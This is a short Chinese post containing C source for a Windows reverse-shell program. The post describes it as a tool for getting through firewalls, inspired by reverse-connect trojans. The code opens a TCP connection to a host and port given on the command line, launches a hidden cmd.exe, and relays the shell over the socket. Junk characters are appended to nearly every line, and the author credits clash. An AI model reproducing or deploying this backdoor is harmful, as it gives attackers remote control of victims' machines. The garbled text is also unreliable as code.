这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `Ixs7{&jU
6<s(e_5f
/* ============================== Xvu)
Rebound port in Windows NT P
0Efh?oZ
By wind,2006/7 Y$x"4=~
===============================*/ R] Disljq
#include "VDk1YX_&l
#include G&@-R{i
I[=Wmxa?r
#pragma comment(lib,"wsock32.lib") nGx ~)T
9eGCBVW:*
void OutputShell(); ?UZ$bz
SOCKET sClient; pfL2v,]g
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; r}R^<y@I
K=tx5{V
void main(int argc,char **argv) 8Da(tS
{ 18.Y/nZAgQ
WSADATA stWsaData; gp$EXJ=
int nRet; W1?!iE~tO
SOCKADDR_IN stSaiClient,stSaiServer; 2{mY:\
z [qdmx^
if(argc != 3) ?-8y4
Ex
{ "J P{Q
printf("Useage:\n\rRebound DestIP DestPort\n"); 3s?v(1 {)
return; _b0S
} C|4U78f{
&@4.;u
WSAStartup(MAKEWORD(2,2),&stWsaData); NWJcFj_
p*pn@z
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Iys6R?~
66~e~F}z
stSaiClient.sin_family = AF_INET; %Lp2jyv.
stSaiClient.sin_port = htons(0); $/[Gys3"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3`&VRF8
V<i<0E
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W>Mse[6`c
{ \;-=ODC
printf("Bind Socket Failed!\n"); #"Eks79s
return; t7|MkX1
} OgEUq''
k40Ep(M}
stSaiServer.sin_family = AF_INET; 7$+P|U
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :%/\1$3P
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W
il{FcHY
w::r?.9
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^273l(CZ1
{ "H5&3sF2
printf("Connect Error!"); a3O nW\N
return; jOBY&W0r
} hz<|W5
OutputShell(); !~K=#"T
} \R8 6;9ov
uQ:Qb|
void OutputShell() 6oj4Rg+(
{ >vQ6V'F
char szBuff[1024]; _&W0e} 4
SECURITY_ATTRIBUTES stSecurityAttributes; kU#:I9PO
OSVERSIONINFO stOsversionInfo; G%2P
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _qY`KP"
STARTUPINFO stStartupInfo; GhqgRzX
char *szShell;
*-9# /Cp
PROCESS_INFORMATION stProcessInformation; T$H2'tK|
unsigned long lBytesRead; Rr+qgt;f5
=LXvlt'Q34
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `]K,'i{R
4dW3'"R"L
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); yDd=&
T
stSecurityAttributes.lpSecurityDescriptor = 0; 4JGE2ArR
stSecurityAttributes.bInheritHandle = TRUE; G$cxDGo
HG3.~ 6X
sL)Rg(rkx
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'Z\{D*=V8
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X!T|07#c
TT|-aS0l(u
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ob0~VEH-
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7 ,$ axvLw
stStartupInfo.wShowWindow = SW_HIDE; M$,Jg5Dc
stStartupInfo.hStdInput = hReadPipe; dav vI$TA
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; NmjzDN
;xSRwSNDi(
GetVersionEx(&stOsversionInfo); >4Iv[ D1
N\_( w:q
switch(stOsversionInfo.dwPlatformId) "3@KRb4f
{ Lb!r(o>8Cb
case 1: dO+kPC
szShell = "command.com"; 7k3p'FeS
break; HKpD2M
default: PdR >;$1
szShell = "cmd.exe"; Qqp)@uM^
break; {U(Bfe^a,
} GUKDhg,W
#xlZU
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ll_}& a0G
V{KjRSVf=
send(sClient,szMsg,77,0); yP
x\ltG3
while(1) VR"8Di&)
{ -zprNQW
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zgK;4
22$m
if(lBytesRead) Pow|:Lau!
{ ?J<T
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _ ~|Q4AJ
send(sClient,szBuff,lBytesRead,0); {h,_"g\V
} j13riI3A
else Ex6o=D2
{ @2u#93Y
lBytesRead=recv(sClient,szBuff,1024,0); ?C}sR: K/
if(lBytesRead<=0) break; k'x#t(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D
0
} )R~a;?T_c0
} 2@fa
rx:
cu<y8
:U<
return; O5O.><RP
}